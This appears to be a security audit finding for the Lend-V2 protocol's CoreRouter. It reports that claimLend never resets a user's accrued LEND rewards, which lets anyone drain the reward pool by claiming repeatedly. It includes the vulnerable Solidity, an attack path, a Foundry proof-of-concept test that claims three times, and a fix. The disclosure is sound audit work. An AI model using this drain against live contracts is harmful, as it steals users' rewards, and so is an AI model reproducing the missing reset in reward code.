Creamy Sage Caterpillar

High

# Multi-Claims Due to Missing Accrued Reset in claimLend

### Summary

The claimLend function allows users to claim their accrued LEND rewards. However, after transferring the accrued LEND tokens to the user, the contract does not reset or update the user's accrued balance in lendStorage.lendAccrued. This enables users to repeatedly call claimLend and receive the same rewards multiple times.



### Root Cause

In CoreRouter, the claimLend and grantLendInternal functions do not reset or update the user's accrued LEND rewards in storage after a successful claim. The failure to reset or update the user's accrued LEND rewards after a claim will cause an unlimited reward drain for the protocol as a malicious user will repeatedly claim the same LEND rewards, depleting the reward pool and stealing from other users.


```solidity
 function claimLend(address[] memory holders, LToken[] memory lTokens, bool borrowers, bool suppliers) external {
        LendtrollerInterfaceV2(lendtroller).claimLend(address(this));

        ...
        for (uint256 j = 0; j < holders.length;) {
            uint256 accrued = lendStorage.lendAccrued(holders[j]);
            if (accrued > 0) {
                grantLendInternal(holders[j], accrued);
            }
            unchecked {
                ++j;
            }
        }
    }

    function grantLendInternal(address user, uint256 amount) internal returns (uint256) {
        address lendAddress = LendtrollerInterfaceV2(lendtroller).getLendAddress();
        uint256 lendBalance = IERC20(lendAddress).balanceOf(address(this));

        if (amount > 0 && amount <= lendBalance) {
            IERC20(lendAddress).safeTransfer(user, amount);
            return 0;
        }
        return amount;
    }
```

https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/713372a1ccd8090ead836ca6b1acf92e97de4679/Lend-V2/src/LayerZero/CoreRouter.sol#L400

### Internal Pre-conditions

The function grantLendInternal transfers LEND tokens to the user but does not update or reset the user's accrued rewards in storage.
There is no mechanism in claimLend or grantLendInternal to set the user's accrued LEND to zero after a successful claim.


### External Pre-conditions

-

### Attack Path

1. A user accrues LEND rewards through protocol activity.
2. The user calls claimLend and receives their accrued LEND tokens.
3. Because lendStorage.lendAccrued is not reset, the user can call claimLend again and receive the same rewards repeatedly.
4. The attacker can continue this process, draining the contract's LEND balance and stealing rewards that should belong to other users

### Impact

Attackers can drain the protocol's LEND reward pool, stealing rewards from other users.

### PoC

// Add test to :::    `Lend-V2/test/mocks/TestLendAccrual.t.sol`

```solidity
    function test_claim_multiple_times() public {
        // Supply tokens to start accruing LEND
        uint256 supplyAmount = 1000e18;
        (, address lToken) = _supply(supplyAmount, user1);
         _supply(4*supplyAmount, user2);

        // Get initial LEND accrued
        uint256 initialLendAccrued = lendStorage.lendAccrued(user1);

        address lendToken = lendtroller.getLendAddress();

        assertEq(IERC20(lendToken).balanceOf(user1),0 );

        // Advance time and blocks
        vm.warp(block.timestamp + 1 days);
        vm.roll(block.number + 1000);

        // Trigger LEND distribution
        vm.prank(user1);
        address[] memory holders = new address[](1);
        holders[0] = user1;
        LToken[] memory lTokenArray = new LToken[](1);
        lTokenArray[0] = LToken(lToken);
        coreRouter.claimLend(holders, lTokenArray, false, true);

        assertEq(IERC20(lendToken).balanceOf(user1),20000000000000000 );

        uint256 finalLendAccrued = lendStorage.lendAccrued(user1);
        assertGt(finalLendAccrued, initialLendAccrued, "LEND should accrue over time");

        coreRouter.claimLend(holders, lTokenArray, false, true);
        assertEq(IERC20(lendToken).balanceOf(user1),40000000000000000 );

        coreRouter.claimLend(holders, lTokenArray, false, true);
        assertEq(IERC20(lendToken).balanceOf(user1),60000000000000000 );
    }

```

### Mitigation

After a successful transfer of LEND tokens, set the user's accrued rewards to zero in lendStorage